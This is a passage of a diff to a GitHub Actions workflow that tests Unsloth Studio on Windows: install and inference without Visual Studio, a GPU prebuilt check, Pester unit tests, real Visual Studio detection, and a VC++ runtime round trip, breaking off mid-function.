@ -1244,3 +1299,621 @@ jobs:
|
|||
logs/install.log
|
||||
logs/llama-server/*.log
|
||||
retention-days: 7
|
||||
|
||||
# ── folded from studio-windows-no-vs-smoke.yml: install + run with no Visual Studio ──
|
||||
no-vs-cpu:
|
||||
name: Studio install + inference without Visual Studio
|
||||
runs-on: windows-latest
|
||||
timeout-minutes: 35
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
env:
|
||||
GGUF_REPO: unsloth/gemma-3-270m-it-GGUF
|
||||
GGUF_VARIANT: UD-Q4_K_XL
|
||||
GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf
|
||||
STUDIO_PORT: '18820'
|
||||
HF_HOME: ${{ github.workspace }}/hf-cache
|
||||
PYTHONIOENCODING: utf-8
|
||||
PYTHONUTF8: '1'
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
|
||||
with:
|
||||
node-version: '22'
|
||||
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- name: Restore HF_HOME for ${{ env.GGUF_REPO }}
|
||||
id: cache-hf
|
||||
uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
continue-on-error: true
|
||||
with:
|
||||
path: hf-cache
|
||||
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
|
||||
|
||||
- name: Prime HF_HOME with the GGUF
|
||||
id: prime-hf
|
||||
if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success'
|
||||
env:
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
mkdir -p hf-cache
|
||||
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE"
|
||||
bash .github/scripts/hf-download-with-retry.sh ggml-org/models tinyllamas/stories260K.gguf
|
||||
|
||||
- name: Save HF_HOME for ${{ env.GGUF_REPO }}
|
||||
if: always() && steps.prime-hf.outcome == 'success'
|
||||
uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
|
||||
with:
|
||||
path: hf-cache
|
||||
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
|
||||
|
||||
- name: Pre-install Windows tweaks (npm 11 + Defender exclusions)
|
||||
shell: pwsh
|
||||
run: |
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
npm install -g 'npm@^11' 2>&1 | Out-Host
|
||||
foreach ($p in @(
|
||||
"$env:USERPROFILE\.unsloth",
|
||||
"$env:USERPROFILE\AppData\Local\uv",
|
||||
"$env:GITHUB_WORKSPACE\studio\frontend\node_modules",
|
||||
"$env:GITHUB_WORKSPACE\studio\frontend\dist"
|
||||
)) {
|
||||
try { Add-MpPreference -ExclusionPath $p -ErrorAction Stop } catch { }
|
||||
}
|
||||
|
||||
- name: Prepare no-build-tools simulation
|
||||
shell: pwsh
|
||||
run: |
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
|
||||
$pf = Join-Path $root 'ProgramFiles'
|
||||
$pfx86 = Join-Path $root 'ProgramFilesx86'
|
||||
New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
|
||||
|
||||
$blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
|
||||
foreach ($tool in @('cmake', 'cl.exe')) {
|
||||
foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
|
||||
if ($cmd.Source) {
|
||||
$dir = Split-Path -Parent $cmd.Source
|
||||
if ($dir) {
|
||||
[void] $blocked.Add(
|
||||
[Environment]::ExpandEnvironmentVariables($dir).Trim().Trim('"').TrimEnd('\'))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
# Normalized comparison so registry spellings (trailing slash,
|
||||
# unexpanded %VAR%) still match.
|
||||
function Test-Blocked([string]$p) {
|
||||
$n = [Environment]::ExpandEnvironmentVariables($p).Trim().Trim('"').TrimEnd('\')
|
||||
return $blocked.Contains($n)
|
||||
}
|
||||
|
||||
$pathParts = $env:Path -split [IO.Path]::PathSeparator |
|
||||
Where-Object { $_ -and -not (Test-Blocked $_) }
|
||||
$noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
|
||||
|
||||
# install.ps1's Refresh-SessionPath and setup.ps1's Refresh-Environment
|
||||
# rebuild the session Path from these scopes mid-install, so filter
|
||||
# them too. Originals are saved for the cleanup step.
|
||||
foreach ($scope in @('Machine', 'User')) {
|
||||
$orig = [Environment]::GetEnvironmentVariable('Path', $scope)
|
||||
if (-not $orig) { continue }
|
||||
Set-Content -LiteralPath (Join-Path $root "orig-path-$scope.txt") -Value $orig -NoNewline
|
||||
$kept = ($orig -split ';' | Where-Object { $_ -and -not (Test-Blocked $_) }) -join ';'
|
||||
[Environment]::SetEnvironmentVariable('Path', $kept, $scope)
|
||||
Write-Host "Filtered $scope Path scope."
|
||||
}
|
||||
|
||||
"NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
"NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
"NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
$noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
"NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
|
||||
Write-Host "ProgramFiles simulation root: $pf"
|
||||
Write-Host "ProgramFiles(x86) simulation root: $pfx86"
|
||||
if ($blocked.Count -gt 0) {
|
||||
Write-Host "Removed build-tool PATH dirs:"
|
||||
$blocked | Sort-Object | ForEach-Object { Write-Host " $_" }
|
||||
} else {
|
||||
Write-Host "No cmake or cl.exe PATH dirs found to remove."
|
||||
}
|
||||
|
||||
- name: Assert Visual Studio + CMake are genuinely undetectable
|
||||
shell: pwsh
|
||||
run: |
|
||||
$ErrorActionPreference = 'Stop'
|
||||
# Set in-script: the runner does not apply step-level env keys with
|
||||
# parentheses (`ProgramFiles(x86)`), so vswhere still found VS.
|
||||
if (-not $env:NO_BUILD_TOOLS_PROGRAMFILES) { Write-Error "NO_BUILD_TOOLS_* env missing (Prepare step did not run?)"; exit 1 }
|
||||
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
|
||||
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
|
||||
$env:Path = $env:NO_BUILD_TOOLS_PATH
|
||||
. (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
|
||||
$setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
|
||||
foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Find-VsBuildTools')) {
|
||||
. ([scriptblock]::Create((Get-FunctionSource -Path $setup -Name $fn)))
|
||||
}
|
||||
$vs = Find-VsBuildTools
|
||||
if ($vs) { Write-Error "Find-VsBuildTools still detects VS: $($vs.Generator) @ $($vs.InstallPath)"; exit 1 }
|
||||
if (Get-Command cmake -ErrorAction SilentlyContinue) { Write-Error "cmake is still on PATH"; exit 1 }
|
||||
if (Get-Command cl.exe -ErrorAction SilentlyContinue) { Write-Error "cl.exe is still on PATH"; exit 1 }
|
||||
Write-Host "Confirmed: no Visual Studio, no cmake, no cl.exe."
|
||||
|
||||
- name: PyTorch CPU wheel installs and imports (no Visual Studio)
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
python -m pip install torch --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple
|
||||
python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
|
||||
|
||||
- name: Install Studio (--local, --no-torch) with no build tools present
|
||||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
|
||||
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
|
||||
run: |
|
||||
# Set in-script (see the assert step); child processes inherit these.
|
||||
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
|
||||
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
|
||||
$env:Path = $env:NO_BUILD_TOOLS_PATH
|
||||
New-Item -ItemType Directory -Force -Path logs | Out-Null
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
& ./install.ps1 --local --no-torch *>&1 | Tee-Object -FilePath logs/install.log
|
||||
|
||||
- name: Assert prebuilt used AND no build tools were installed
|
||||
run: |
|
||||
LLAMA_DIR=~/.unsloth/llama.cpp
|
||||
INFO="$LLAMA_DIR/UNSLOTH_PREBUILT_INFO.json"
|
||||
BIN="$LLAMA_DIR/build/bin/Release/llama-server.exe"
|
||||
fail=0
|
||||
if grep -q "falling back to source build" logs/install.log; then
|
||||
echo "::error::install.ps1 fell back to source-build llama.cpp without VS."; fail=1
|
||||
fi
|
||||
# The deferred build-tool installs must NOT run on the prebuilt path.
|
||||
for pat in "Kitware.CMake" "Microsoft.VisualStudio.2022.BuildTools" "installing via winget"; do
|
||||
if grep -qi "$pat" logs/install.log; then
|
||||
echo "::error::unexpected build-tool install on the prebuilt path: '$pat'"; fail=1
|
||||
fi
|
||||
done
|
||||
[ -f "$INFO" ] || { echo "::error::no UNSLOTH_PREBUILT_INFO.json"; ls -la "$LLAMA_DIR" || true; fail=1; }
|
||||
[ -f "$BIN" ] || { echo "::error::no llama-server.exe"; ls -la "$LLAMA_DIR/build/bin" || true; fail=1; }
|
||||
if [ "$fail" != "0" ]; then grep -iE "cmake|visual studio|prebuilt|source build" logs/install.log | tail -60; exit 1; fi
|
||||
echo "Prebuilt installed with no build tools:"
|
||||
cat "$INFO"
|
||||
|
||||
- name: Add Studio shim to GITHUB_PATH
|
||||
run: |
|
||||
SHIM_DIR=~/.unsloth/studio/bin
|
||||
[ -f "$SHIM_DIR/unsloth.exe" ] || { echo "::error::unsloth.exe shim not found"; ls -la ~/.unsloth/studio/ || true; exit 1; }
|
||||
cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH"
|
||||
|
||||
- name: Reset auth + boot Studio (API-only)
|
||||
run: |
|
||||
unsloth studio reset-password
|
||||
mkdir -p logs
|
||||
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
|
||||
> logs/studio.log 2>&1 &
|
||||
echo "STUDIO_PID=$!" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Wait for /api/health, log in, load the GGUF
|
||||
run: |
|
||||
for i in $(seq 1 180); do
|
||||
if curl -fs "http://127.0.0.1:${STUDIO_PORT}/api/health" > /tmp/health.json; then
|
||||
jq -e '.status == "healthy"' /tmp/health.json && break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
jq -e '.status == "healthy"' /tmp/health.json || { tail -200 logs/studio.log; exit 1; }
|
||||
OLD=$(cat ~/.unsloth/studio/auth/.bootstrap_password)
|
||||
NEW="CINoVS-$(python -c 'import secrets; print(secrets.token_urlsafe(12))')"
|
||||
echo "::add-mask::$OLD"
|
||||
echo "::add-mask::$NEW"
|
||||
OLD_TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
|
||||
-H 'content-type: application/json' \
|
||||
-d "{\"username\":\"unsloth\",\"password\":\"$OLD\"}" | jq -r .access_token)
|
||||
curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/change-password" \
|
||||
-H "Authorization: Bearer $OLD_TOKEN" -H 'content-type: application/json' \
|
||||
-d "{\"current_password\":\"$OLD\",\"new_password\":\"$NEW\"}" > /dev/null
|
||||
TOKEN=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/api/auth/login" \
|
||||
-H 'content-type: application/json' \
|
||||
-d "{\"username\":\"unsloth\",\"password\":\"$NEW\"}" | jq -r .access_token)
|
||||
echo "API_KEY=$TOKEN" >> "$GITHUB_ENV"
|
||||
LOAD_OK=0
|
||||
for attempt in 1 2 3; do
|
||||
HTTP=$(curl -s -o /tmp/load.json -w '%{http_code}' \
|
||||
-X POST "http://127.0.0.1:${STUDIO_PORT}/api/inference/load" \
|
||||
-H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
|
||||
--max-time 600 \
|
||||
-d "{\"model_path\":\"$GGUF_REPO\",\"gguf_variant\":\"$GGUF_VARIANT\",\"is_lora\":false,\"max_seq_length\":2048}")
|
||||
if [ "$HTTP" = "200" ]; then LOAD_OK=1; break; fi
|
||||
echo "::warning::/api/inference/load attempt $attempt returned $HTTP"; cat /tmp/load.json || true; sleep 10
|
||||
done
|
||||
[ "$LOAD_OK" = "1" ] || { echo "::error::/api/inference/load failed 3 attempts"; exit 22; }
|
||||
jq '{status, display_name, is_gguf}' /tmp/load.json
|
||||
|
||||
- name: Inference works via the prebuilt llama.cpp (no VS)
|
||||
run: |
|
||||
RESP=$(curl -fs -X POST "http://127.0.0.1:${STUDIO_PORT}/v1/chat/completions" \
|
||||
-H "Authorization: Bearer $API_KEY" -H 'content-type: application/json' \
|
||||
--max-time 240 \
|
||||
-d '{"model":"default","messages":[{"role":"user","content":"What is 1+1? Answer briefly."}],"temperature":0,"max_tokens":32,"stream":false}')
|
||||
echo "$RESP" | jq '.choices[0].message' || { echo "$RESP"; exit 1; }
|
||||
CONTENT=$(echo "$RESP" | jq -r '.choices[0].message.content')
|
||||
[ -n "$CONTENT" ] && [ "$CONTENT" != "null" ] || { echo "::error::empty completion"; exit 1; }
|
||||
echo "Inference OK without Visual Studio: $CONTENT"
|
||||
|
||||
- name: Clean no-build-tools simulation
|
||||
if: always()
|
||||
shell: pwsh
|
||||
run: |
|
||||
$root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
|
||||
foreach ($scope in @('Machine', 'User')) {
|
||||
$saved = Join-Path $root "orig-path-$scope.txt"
|
||||
if (Test-Path -LiteralPath $saved) {
|
||||
[Environment]::SetEnvironmentVariable('Path', (Get-Content -LiteralPath $saved -Raw), $scope)
|
||||
Write-Host "Restored $scope Path scope."
|
||||
}
|
||||
}
|
||||
Remove-Item -LiteralPath $root -Recurse -Force -ErrorAction SilentlyContinue
|
||||
|
||||
- name: Stop Studio
|
||||
if: always()
|
||||
shell: cmd
|
||||
run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end)
|
||||
|
||||
- name: Collect llama-server logs
|
||||
if: always()
|
||||
continue-on-error: true
|
||||
run: |
|
||||
mkdir -p logs/llama-server
|
||||
cp -v ~/.unsloth/studio/logs/llama-server/*.log logs/llama-server/ 2>/dev/null || echo "no llama-server logs"
|
||||
|
||||
- name: Upload logs
|
||||
if: always()
|
||||
continue-on-error: true
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: windows-no-vs-cpu-log
|
||||
path: |
|
||||
logs/install.log
|
||||
logs/studio.log
|
||||
logs/llama-server/*.log
|
||||
retention-days: 7
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────
|
||||
# Job B: the GPU (CUDA) prebuilt path is also VS-free (resolve/availability)
|
||||
# ─────────────────────────────────────────────────────────────────────
|
||||
no-vs-gpu-resolve:
|
||||
name: GPU prebuilt resolves without Visual Studio
|
||||
runs-on: windows-latest
|
||||
timeout-minutes: 15
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
env:
|
||||
PYTHONIOENCODING: utf-8
|
||||
PYTHONUTF8: '1'
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- name: Prepare no-build-tools simulation
|
||||
shell: pwsh
|
||||
run: |
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$root = Join-Path $env:GITHUB_WORKSPACE 'no-build-tools'
|
||||
$pf = Join-Path $root 'ProgramFiles'
|
||||
$pfx86 = Join-Path $root 'ProgramFilesx86'
|
||||
New-Item -ItemType Directory -Force -Path $pf, $pfx86 | Out-Null
|
||||
|
||||
$blocked = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)
|
||||
foreach ($tool in @('cmake', 'cl.exe')) {
|
||||
foreach ($cmd in (Get-Command $tool -All -ErrorAction SilentlyContinue)) {
|
||||
if ($cmd.Source) {
|
||||
$dir = Split-Path -Parent $cmd.Source
|
||||
if ($dir) { [void] $blocked.Add($dir) }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$pathParts = $env:Path -split [IO.Path]::PathSeparator |
|
||||
Where-Object { $_ -and -not $blocked.Contains($_) }
|
||||
$noBuildToolsPath = $pathParts -join [IO.Path]::PathSeparator
|
||||
|
||||
"NO_BUILD_TOOLS_PROGRAMFILES=$pf" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
"NO_BUILD_TOOLS_PROGRAMFILES_X86=$pfx86" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
"NO_BUILD_TOOLS_PATH<<NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
$noBuildToolsPath | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
"NO_BUILD_TOOLS_PATH_EOF" | Out-File -FilePath $env:GITHUB_ENV -Append -Encoding utf8
|
||||
|
||||
- name: Windows CUDA and ROCm prebuilts exist in unslothai/llama.cpp (what GPU users download, no VS)
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
curl -fsSL -H "Authorization: Bearer $GH_TOKEN" \
|
||||
"https://api.github.com/repos/unslothai/llama.cpp/releases/latest" > /tmp/rel.json
|
||||
echo "release: $(jq -r .tag_name /tmp/rel.json)"
|
||||
ASSETS=$(jq -r '.assets[].name' /tmp/rel.json)
|
||||
echo "$ASSETS" | grep -iE 'windows-x64-cuda[0-9]' || {
|
||||
echo "::error::no Windows x64 CUDA prebuilt asset found in unslothai/llama.cpp latest release"
|
||||
echo "$ASSETS"; exit 1; }
|
||||
# AMD parity: hosted runners have no AMD GPU, so the resolver step below
|
||||
# can't exercise the ROCm path (it resolves to CPU). Pin the per-gfx
|
||||
# Windows ROCm bundles here so a release that drops them fails loudly --
|
||||
# the AMD no-VS guarantee otherwise rides only on shared resolver code.
|
||||
echo "$ASSETS" | grep -iE 'windows-x64-rocm-gfx' || {
|
||||
echo "::error::no Windows x64 ROCm (per-gfx) prebuilt asset found in unslothai/llama.cpp latest release"
|
||||
echo "$ASSETS"; exit 1; }
|
||||
echo "Windows CUDA and ROCm prebuilts are available -- GPU users get them without compiling."
|
||||
|
||||
- name: The prebuilt resolver runs without Visual Studio
|
||||
shell: pwsh
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
$ErrorActionPreference = 'Stop'
|
||||
# pwsh: bash cannot export `ProgramFiles(x86)`; set in-script so the
|
||||
# python child inherits the overrides.
|
||||
$env:ProgramFiles = $env:NO_BUILD_TOOLS_PROGRAMFILES
|
||||
${env:ProgramFiles(x86)} = $env:NO_BUILD_TOOLS_PROGRAMFILES_X86
|
||||
$env:Path = $env:NO_BUILD_TOOLS_PATH
|
||||
# Resolver-only (no GPU on hosted runners, so the host resolves to the
|
||||
# CPU bundle). The point is that resolution needs no compiler/VS.
|
||||
python -m pip install --upgrade huggingface_hub
|
||||
if ($LASTEXITCODE -ne 0) { Write-Host "::error::pip install huggingface_hub failed"; exit 1 }
|
||||
python studio/install_llama_prebuilt.py --resolve-prebuilt latest --output-format json > resolve.json
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "::error::resolver exited non-zero"
|
||||
if (Test-Path resolve.json) { Get-Content resolve.json }
|
||||
exit 1
|
||||
}
|
||||
Get-Content resolve.json
|
||||
Write-Host "Prebuilt resolver ran with no Visual Studio present."
|
||||
|
||||
- name: Clean no-build-tools simulation
|
||||
if: always()
|
||||
shell: pwsh
|
||||
run: |
|
||||
Remove-Item -LiteralPath (Join-Path $env:GITHUB_WORKSPACE 'no-build-tools') -Recurse -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# ── folded from studio-setup-ps1-vs2026.yml: setup.ps1 unit tests + real-VS detection + vcredist ──
|
||||
pester:
|
||||
name: setup.ps1 unit tests (VS 2026 / CMake guard)
|
||||
runs-on: windows-latest
|
||||
timeout-minutes: 15
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install Pester v5
|
||||
shell: pwsh
|
||||
run: |
|
||||
# PSGallery is intermittently absent from the repository list on GitHub's Windows
|
||||
# runners, which makes `Set-PSRepository PSGallery` fail with "No repository with the
|
||||
# name 'PSGallery' was found." Re-register the default gallery first so the policy
|
||||
# change and module install below always have a repository to target.
|
||||
if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) {
|
||||
Register-PSRepository -Default -ErrorAction SilentlyContinue
|
||||
}
|
||||
Set-PSRepository PSGallery -InstallationPolicy Trusted
|
||||
Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser
|
||||
Import-Module Pester -MinimumVersion 5.5.0
|
||||
Get-Module Pester | Select-Object Name, Version | Format-Table
|
||||
|
||||
- name: Run Pester suite
|
||||
shell: pwsh
|
||||
run: |
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$testDir = Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1'
|
||||
if (-not (Test-Path $testDir)) {
|
||||
Write-Error "Test directory not found: $testDir"
|
||||
exit 1
|
||||
}
|
||||
$cfg = New-PesterConfiguration
|
||||
$cfg.Run.Path = $testDir
|
||||
$cfg.Run.Exit = $true # non-zero exit => job fails
|
||||
$cfg.Run.Throw = $true # also throw on test failure / 0 tests
|
||||
$cfg.TestResult.Enabled = $true
|
||||
$cfg.TestResult.OutputFormat = 'NUnitXml'
|
||||
$cfg.TestResult.OutputPath = Join-Path $env:GITHUB_WORKSPACE 'pester-results.xml'
|
||||
$cfg.Output.Verbosity = 'Detailed'
|
||||
Invoke-Pester -Configuration $cfg
|
||||
|
||||
- name: Upload Pester results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
|
||||
with:
|
||||
name: pester-results-setup-ps1
|
||||
path: pester-results.xml
|
||||
if-no-files-found: warn
|
||||
|
||||
vs-integration:
|
||||
# Real detection against the VS installed on the runner image (no mocks).
|
||||
name: real-VS detection (${{ matrix.label }})
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- { os: windows-2022, label: 'VS 2022', expectGen: 'Visual Studio 17 2022', expectToolset: 'v170' }
|
||||
- { os: windows-2025-vs2026, label: 'VS 2026', expectGen: 'Visual Studio 18 2026', expectToolset: 'v180' }
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 15
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Detect the real Visual Studio with setup.ps1 functions
|
||||
shell: pwsh
|
||||
env:
|
||||
EXPECT_GEN: ${{ matrix.expectGen }}
|
||||
EXPECT_TOOLSET: ${{ matrix.expectToolset }}
|
||||
run: |
|
||||
$ErrorActionPreference = 'Stop'
|
||||
. (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
|
||||
$setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
|
||||
foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Get-VcBuildCustomizationsDir', 'Find-VsBuildTools')) {
|
||||
. ([scriptblock]::Create((Get-FunctionSource -Path $setup -Name $fn)))
|
||||
}
|
||||
|
||||
# Ground truth from the real vswhere (independent of our code), for visibility.
|
||||
$vsw = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
|
||||
if (Test-Path $vsw) {
|
||||
$year = (& $vsw -latest -property catalog_productLineVersion 2>$null | Select-Object -First 1)
|
||||
$path = (& $vsw -latest -property installationPath 2>$null | Select-Object -First 1)
|
||||
Write-Host "Real vswhere: productLineVersion='$year' installPath='$path'"
|
||||
} else {
|
||||
Write-Host "vswhere not present at $vsw (relying on filesystem fallback)"
|
||||
}
|
||||
|
||||
# Our detection must find the real VS and report the expected generator.
|
||||
$r = Find-VsBuildTools
|
||||
if (-not $r) { throw "Find-VsBuildTools returned null on a host with real $env:EXPECT_GEN" }
|
||||
Write-Host "Find-VsBuildTools -> Generator='$($r.Generator)' Source='$($r.Source)' InstallPath='$($r.InstallPath)'"
|
||||
if ($r.Generator -ne $env:EXPECT_GEN) {
|
||||
throw "Detection mismatch: got '$($r.Generator)', expected '$env:EXPECT_GEN'"
|
||||
}
|
||||
if (-not (Test-Path $r.InstallPath)) { throw "Detected InstallPath does not exist: $($r.InstallPath)" }
|
||||
|
||||
# Toolset path derivation must match the expected v-number...
|
||||
$bc = Get-VcBuildCustomizationsDir -VsInstallPath $r.InstallPath -Generator $r.Generator
|
||||
$derived = Split-Path (Split-Path $bc -Parent) -Leaf # e.g. v170 / v180
|
||||
Write-Host "Get-VcBuildCustomizationsDir -> '$bc' (toolset='$derived')"
|
||||
if ($derived -ne $env:EXPECT_TOOLSET) {
|
||||
throw "Toolset mismatch: derived '$derived', expected '$env:EXPECT_TOOLSET'"
|
||||
}
|
||||
|
||||
# ...and that v-number is a real folder on the VS install (where CUDA's
|
||||
# BuildCustomizations would land).
|
||||
$vcRoot = Join-Path $r.InstallPath 'MSBuild\Microsoft\VC'
|
||||
if (Test-Path $vcRoot) {
|
||||
$realToolsets = @((Get-ChildItem -Path $vcRoot -Directory -ErrorAction SilentlyContinue).Name)
|
||||
Write-Host "Real VC toolset dirs: $($realToolsets -join ', ')"
|
||||
if ($realToolsets -notcontains $derived) {
|
||||
throw "Derived toolset '$derived' is not present on the real $env:EXPECT_GEN install (have: $($realToolsets -join ', '))"
|
||||
}
|
||||
Write-Host "OK: toolset '$derived' exists on the real VS install."
|
||||
} else {
|
||||
Write-Warning "VC MSBuild root absent ($vcRoot) - C++ workload not installed; skipping on-disk toolset check."
|
||||
}
|
||||
|
||||
Write-Host "PASS: real $env:EXPECT_GEN detected correctly with toolset '$derived'."
|
||||
|
||||
vcredist-clean-box:
|
||||
# Validate Test-VCRedistInstalled + Ensure-VCRedist on a throwaway runner:
|
||||
# present on the stock image, fires on a clean box (signals removed restorably),
|
||||
# then a literal uninstall/reinstall round trip. Always restored before the end.
|
||||
name: VC++ runtime detect + install round-trip (${{ matrix.os }})
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [windows-latest, windows-2025-vs2026]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 20
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Detect present, fire on a clean box, and round-trip the install
|
||||
shell: pwsh
|
||||
run: |
|
||||
$ErrorActionPreference = 'Stop'
|
||||
. (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1')
|
||||
$setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1'
|
||||
# Dot-source the guard + the logging closure it reaches
|
||||
# (step/substep -> Write-StudioStdoutMirror / Get-StudioAnsi).
|
||||
$script:StudioVtOk = $false
|
||||
$script:UnslothVerbose = $false
|
||||
foreach ($fn in @('Get-StudioAnsi', 'Write-StudioStdoutMirror', 'step', 'substep',
|
||||
'Invoke-SetupCommand', 'Refresh-Environment',
|
||||
'Test-VCRedistInstalled', 'Ensure-VCRedist')) {
|
||||
$src = Get-FunctionSource -Path $setup -Name $fn
|
||||
if (-not $src) { throw "Function '$fn' not found in setup.ps1" }
|
||||
. ([scriptblock]::Create($src))
|
||||
}
|
||||
|
||||
$regKeys = @(
|
||||
'HKLM\SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64',
|
||||
'HKLM\SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\x64'
|
||||
)
|
||||
function Show-GroundTruth {
|
||||
$dll = Join-Path $env:SystemRoot 'System32\vcruntime140_1.dll'
|
||||
